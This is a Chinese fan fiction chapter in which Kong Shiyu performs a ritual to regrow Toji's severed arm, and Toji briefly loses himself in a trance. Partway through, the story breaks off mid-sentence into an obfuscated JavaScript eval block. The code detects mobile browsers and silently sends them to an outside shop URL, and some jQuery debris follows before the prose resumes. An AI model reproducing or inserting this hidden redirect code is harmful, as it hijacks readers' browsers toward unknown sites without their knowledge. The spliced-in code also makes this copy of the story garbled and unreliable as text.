甚尔是下午一点四十分醒的。
睁眼的瞬间他不知道自己在哪里。卧室的天花板，他在自己床上。窗帘拉着，缝隙里漏进来下午的阳光。
他没立刻动。身体的状态不太对。
他不觉得累，累的时候身体空空如也。今天身体里有东西，肌肉骨头还是筋膜，不是平时他熟悉的任何一层。底下有更慢的什么东西在运转。他想抬手的时候发现指令到达手指有一个小小的延迟。
他在床上躺了大概十分钟才坐起来，低头看了一下自己的左边。
残肢在T恤下面没有动作。但隔着布料他能感到那一截热度，伴着一种陌生的感觉。
他用右手摸了一下断口附近。
刺。
断口的皮肤底下有什么东西在等着，等着的时候在刺他。等什么他不知道，但他的身体明白。身体在说“已经准备好了”。
他坐了一会儿，然后下床。
——
他用冷水洗脸。
镜子里的自己脸色比平时白一点。眼睛底下有黑圈。睡了十几个小时像是还没睡醒。
他刷牙。漱口。出来。
——
客厅。
孔在沙发上。笔记本电脑摊在膝盖上，但他没在看屏幕——他看见甚尔出来，把电脑合上了。
“几点了？”甚尔说。
“快两点。”
“——”
“吃饭吗？”孔问。
“吃。”
“我煮个面。”
甚尔没立刻回应。他在客厅站了几秒，看了一眼鱼缸，然后走到厨房旁边的料理台靠着。
孔从沙发上起来，往厨房走。
——
意面。现成的酱料。煎一个蛋。
甚尔站在料理台旁边看孔煮面。两个人都没说话。
两碗面端到餐桌上。甚尔坐下来，孔坐对面。
他吃面比平时慢。每一筷子之间的间隔比平时长。但他吃完了。
“还想吃。”
孔愣了一下。甚尔几乎不说这种话。他平时身体永远刚好够用，吃完一份就够。今天他要更多。
“我再煮一份。”
“嗯。”
甚尔吃完了第二份。
——
孔把碗收了去洗，厨房里响起水声。
甚尔右手搭在餐桌边缘。视线落在桌子的木纹上，没有焦点。
“今天没活儿。”孔在水池那边说。
甚尔抬眼。
“嗯。”
他知道孔在说什么。
——
下午三点。
甚尔回卧室躺了半小时。他知道自己睡不着，身体里“等”的感觉在持续，不让意识彻底放下。
他从床上起来，换了T恤，从玄关拿了外套。
“出去走走。”
孔从书房抬了一下头。“去哪？”
“楼下。”
“好。”
甚尔出门。
——
四月底的下午三点二十分。东京的太阳刚往西走。公寓附近这条商店街是周边老社区的延伸，拉面店、干洗店、街角的水果摊。这个时间老人在外面晒太阳，主妇在水果摊前挑桃子。
甚尔沿街走。
他没去什么具体的地方。他走到第一个路口右转，沿着另一条街走。一个戴帽子的老人坐在自家门口的小凳子上，对甚尔点了下头。
他走了大概二十分钟。残肢的“刺”在散步的过程中没有变化，它就在那里，相当稳定。
他在水果摊前停下来。
“伏黑桑今天来了？”摊主是个五十多岁的男人，眯眼笑着。孔时雨经常在这家水果摊买东西，带甚尔来过几次，所以摊主认识他。
“嗯。”
“今天的黄桃好。”
甚尔看了一眼，“两个。”
摊主装袋。“伏黑桑脸色不太好啊。”
“睡多了。”
“啊，那是。”摊主笑着说，“睡多了人反而累。”
“是啊。”
甚尔付钱，接过袋子，往回走。
——
四点半回到公寓。
孔在客厅。鱼缸前面，在喂鱼。这个动作他每天早上做一次，今天下午又做了一次。
甚尔站在玄关脱鞋，看见了。
他没说什么。他知道孔在做什么。孔在调环境。他每次要做大事之前都会给鱼缸过一遍——水、温度、饲料。像一个仪式。给鱼缸的，也给他自己的。
甚尔把袋子拿到厨房。两个黄桃。他用右手挑一个洗了，咬了一口。
桃子很甜，肉很厚。
他咬完那一口的时候孔从客厅走过来。
“给我。”
甚尔把咬过的桃子递过去。
孔接过去咬了一口。
两个人在厨房站着，分着吃完那个桃子。
——
傍晚。
甚尔在阳台上站了一会儿。五点四十分左右，西边的天空是一片橙红色，夹杂着几缕灰云。这一带建筑低矮，剪影很清楚。远处一栋写字楼的玻璃幕墙反射着夕阳。
他抽了一根烟。
这次不来自于孔。他路过便利店时自己买的，盒子还是新的。
孔在做晚饭。从厨房传出来的味道是味噌+油。味噌焼き。鱼。
甚尔走到餐桌旁边。孔没让他帮忙。孔做饭从来不让甚尔帮忙。
“什么鱼？”
“鲭鱼。”
“哦。”
孔从烤架上把鱼端出来装盘。米饭在电饭锅里，味噌汤在锅里煮着，还有一小碗腌菜。
六点半。两人在餐桌前坐下。
——
甚尔吃得比中午那顿还多。
他把鱼吃完了。米饭吃了两碗。味噌汤喝了。腌菜也夹了好几次。
孔在对面慢慢吃，吃到一半的时候抬眼，“够了吗？”
“再来一碗。”
孔站起来去厨房盛米饭。
甚尔在餐桌前坐着。他的视线从孔的背影挪到桌上。鲭鱼的骨头整整齐齐在盘子里。
他知道自己今晚要有消耗，身体在自己计算能量储备。身体比意识快是天与咒缚的常态，它知道接下来要做什么，它在自己做准备。
孔回来了。第三碗米饭放在他面前。
——
吃完孔把碗收了。甚尔坐在餐桌前没动。
过了一会儿他从餐桌站起来，走到客厅沙发坐下。
鱼缸的定时灯还没到时间，没亮。客厅的顶灯开着，平时的暖白光。
孔从厨房出来。手里拿着一杯水——给甚尔的。他把杯子放在茶几上。
两个人坐着，一人一边。
——
过了一会儿甚尔开口。
“做吧。”他说。
做吧。
孔看了他一秒。
“卧室。”孔说。
两人站起来。
——
卧室。
床头留了那盏小灯。橘黄色的光。
甚尔站在床边把T恤单手拽下来搭在床尾。
残肢露出来了。今天的绷带是早上他自己缠的，右手和牙。
他坐在床沿。
孔从柜子最上层把那个金属盒拿出来。放在床头柜上。
他让甚尔躺下。
甚尔躺下。头放在枕头上，右手自然搭在身侧，残肢也是。
孔在床沿坐下来，甚尔左侧，膝盖朝向甚尔。他的脸在甚尔斜上方。
“绷带先解开。”
“嗯。”
甚尔右手抬起来，但孔按住了他的手。
“我来。”
孔的手指开始解绷带。一圈一圈，甚尔半闭着眼睛看孔的脸。
——
绷带落在床上。残肢的断口暴露出来，皮肤是淡粉色。中央那一小片凸起——这一两个月里慢慢在长出来的那一点点——在橘黄色的小灯下看得很清楚。
孔把金属盒打开。
里面的反应物按浓度分装。孔今晚要用的是其中一组：京都门框北侧那批最浓的，加上高円寺这一份新鲜的。
他用镊子把它们一片片夹出来，放在一张铺好的薄纸上。
甚尔在床上侧着脸看他做这些。没说话。
孔做完了。他把那张薄纸捧起来，靠近残肢的断口。
“贴上了。”他说。
这是预告，下一秒要发生什么。
“嗯。”甚尔说。
孔把反应物贴在断口上。
甚尔的呼吸断了一拍。
——
接触发生的那一秒甚尔的身体先于意识有了反应。残肢的肌肉绷紧。皮肤的温度往上跳，热量从内往外推。
他没动。
他在用意识压住身体的反应。
孔的手压在他的左肩上。
“看我。”孔说。
甚尔的视线从天花板挪到孔的脸上。
对视的两个人。
——
孔从喉咙里发出那个音。
很短。尾音带着那个钩子一样的辅音。不熟悉，不舒服。
甚尔听见了。上次他在睡眠里，这次他听见了。不是日语，不是韩语，某种咒文。它从喉咙里出来时孔一脸不情愿，他能看见孔的眉毛皱了一下。他有点想笑。
念完后孔的肩膀降下来，但他按在甚尔肩上的手没松。
——
第一秒：什么都没发生。
第二秒：甚尔的残肢里那个一直在等的东西接到了。
第三秒：天与咒缚的修复程序启动。
他感觉到的是什么——
——
身体里的某片区域，从断口往肩膀的方向整片亮起来，像有什么东西在他身体里点了一盏灯。光亮持续地烧。
他能感觉到反应物在皮肤接触点融化——身体在“吸收”。每吸收一片，光亮的范围扩大一点。
他的呼吸开始变深，胸口起伏比平时大。
孔看着他。手还按在他肩上。
——
三十秒后，肩膀也亮了起来。
甚尔的脊背开始绷起来，身体自己在往后弓，像弹簧被压紧。
“吸气。”孔说。
甚尔吸气。
“再吸。”
他再吸。
他的脊背慢慢落回床上——但只落回一半，然后又绷起来。这一次更紧。
残肢动了。
很轻的震颤，没有方向，像是打了个招呼，身体内部什么东西在回应。
——
然后甚尔不在床上了。
他在一种“悬浮”里。
眼前——
他在很厚的雾里看一个人的轮廓。剪影小小的，不到一米高。一个孩子的高度。
那个孩子站着。他不知道是背对他还是面对他。
他知道那是一个孩子。三岁、四岁、五岁——大概这么大。
身体里有什么东西在朝那个孩子动，不是他控制的。
那个孩子不动。
甚尔在悬浮里想了一件事——那不是京都那个孩子。
京都那个孩子他在脑子里有图像了。这一个不是。
这一个还没有图像。但身体认得他。
——
别的东西从悬浮里浮过来。
一个房间的边角——纸格子门、暗色木梁。
一个声音——衣物擦过木地板的声音。和服。
一只手——比他的手小，不到一半。从地板上抬起来的姿势。
他看不到，是身体记得的感觉。
他不知道这些是什么时候的。
——
然后意识接到了。
那一秒甚尔脑子里有一个名字浮起来。
他——
他选择了“不在”。
关掉。关掉。把那个关掉。轮廓还在。感觉的碎片还在。但没有人在看了。
这个动作他做得很快。这不是第一次，今晚是它启动的某次。
悬浮还在。但悬浮里没有甚尔了。
——
孔看见的是这个：
甚尔的脊背刚刚绷紧到一个临界点。孔做好了准备，第一次降灵那晚的画面在他脑子里——那截不存在的手伸向他的咽喉，他本能后撤，甚至又在餐桌上抗拒了一次那只伸过来的手。他知道这次他不会撤。
然后甚尔突然停了。
他一下子落回床垫，像被拆掉的绷带。
残肢的震颤也停了。
胸口的起伏慢下来。
孔愣了一下，这不是暴走的样子。
——
他低头看甚尔的脸。
甚尔的眼睛是睁开的。
——
黑色。
床头那盏小灯打在他脸上的橘黄色还在。他眼睛的轮廓清楚，眼白、虹膜、瞳孔的位置都在。
但里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489771|202172||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
面是漆黑的。
空洞——不对，不如说太粘稠了，有什么黑色的东西在缓慢地流动——不属于人的、不属于这间卧室的、不属于时间的什么东西。
孔的手还按在甚尔的胸口和肩膀上。他能感觉到甚尔的心跳——比平时还慢一点，很平稳。呼吸也是。身体没事。
身体没事，但人不在。
——
孔在床沿上没动。
他平时做事情有他自己的节奏。但这一刻他不知道节奏是什么。他做了第一次降灵的复盘、做了反应物收集量级的复盘、做了甚尔身体在过去八个月里的所有变化曲线的复盘——这一刻不在他任何复盘的范围内。
他没念第二个音。他已经准备好了第二个音以防需要打断暴走，但现在没有暴走。他没说“看我”——他知道甚尔不会看。
他只是在那个姿势里，一只手按胸口，一只手按肩膀。没动。
——
说不清持续了多久。可能一分钟，可能两分钟，可能五分钟。
甚尔的眼睛一直是漆黑的。
胸口的起伏一直是慢慢的。
残肢一直没动。
——
然后——
甚尔的眼睛眨了一下。
漆黑退了，像水位降下去，退回瞳孔平时的绿。
他的呼吸恢复到普通的频率。
他对孔聚焦了一下。
——
“……回来了？”他说。
声音是哑的。
孔的手还按着没松。
“回来了。”孔说。
他不知道这句话是回应甚尔，还是在跟自己确认。
——
甚尔躺着没动，人靠重力陷进床垫里。
孔看着他。手没松。
甚尔抬眼看孔。
“你干嘛那样看我？”
孔的视线没移开。
“你刚才不在。”
“——”
“眼睛是黑的。”孔说，“持续了几分钟。”
甚尔没回答。
过了几秒他才开口。
“——有过一些东西。”他说，“我不在那里。”
“什么意思？”
“看到了几个画面。但我没在场。”
孔的视线在他脸上停了一下。
“……什么画面？”
甚尔想了一下。
“——小孩子，还有什么的。记不清楚。”他说。
他不但记不清楚，他好像每秒都在忘掉一点点。
孔时雨坐在床沿没说话。手还是没松。
——
三五分钟之后。
甚尔的呼吸完全平稳了。残肢的热度还在，但不发烫了。
孔的两只手才慢慢撤开。
他从床沿起来，把镊子、纸、空了的金属盒收进床头柜。用湿纸巾擦掉了反应物的残渣。
甚尔在床上躺着看他做这些。
——
孔回到床沿。手里拿着新绷带。
“绷带”他说。
“嗯。”
从断口开始，一圈一圈，松紧均匀。打结的位置外侧偏后，孔的习惯。
甚尔躺着，抬眼看天花板。
——
过了大概一分钟，孔才开口。
“——惠？”
他说出这个字之后自己愣了一下——他没准备好会问出这个名字，今晚这一夜的密度让他没忍住。
甚尔的视线从天花板挪到孔脸上。
他的眼睛里这次什么都没有。
“谁？”
孔看着他。
过了一秒孔的眼睛又移开了。
“——嗯。”
他没追问。
两个人又安静下来。
——
甚尔慢慢从床上坐起来。
他的身体还在恢复。动作比平时慢一点。
“水。”
孔时雨站起来去厨房。回来的时候手里一杯凉水。
甚尔接过来喝了几口。把杯子放在床头柜上。
他看了一眼自己的左臂。新缠好的绷带。底下的光亮已经从高速运转慢下来了，但还在工作。
他用右手摸了一下绷带外面。
长了。
这次明显更多。隔着都绷带能感觉到断口下方那一截的不同。
孔在床沿坐着。
“长了多少。”
“——比上次多。”甚尔说。
孔点头。他没量也没看。他相信甚尔身体的判断。
——
甚尔躺回床上。
“你睡这里。”他说。
陈述的语气，不是一个请求。
孔愣了一下。
“好。”
床头那盏小灯关掉了。
卧室暗下来。只有走廊的小夜灯透进来一点光。
他在甚尔旁边躺下。两个人之间隔着大概三十公分的距离。
——
甚尔睡着用了大概十分钟，比平时长一点。
孔时雨在黑暗里睁着眼睛看天花板。听甚尔的呼吸，很深、平稳，修复中的呼吸。
——
刚才——甚尔眼睛漆黑的那几分钟——他还没办法立刻放开。
他在咒术界做了那么多年掮客，见过术师在战斗里失神、见过被附身的、见过被高位咒灵控制的人。他都见过。但今晚甚尔的那个不一样——是甚尔自己让位了。身体留在床上，主人退场。
“我不在那里”——他知道自己看到了什么，但他没在场接收。这是甚尔自己造出来的开关。他能在某个特定的瞬间把“接收的人”关掉，画面继续放，但没有人看。
他在哪里学的这个。他从什么时候开始用这个。
孔时雨不会问。
——
反应物消耗的浓度比预期高。残肢的修复程度比预期好——一寸多。回流的强度比第一次降灵升了一档。他者开始有形了。
按他的判断，第三次降灵会在更长的间隔之后发生。身体需要更长的时间来消化这次给的东西。两个月，或者三个月。
第三次降灵时会不只是轮廓。
——
刚才那一句“惠？”。
他回想了一下。
他在心里跟自己说了一句：面倒だから（太麻烦了）。下一次他不会再问了。
——
他闭上眼睛。
窗外东京的夜静下来了。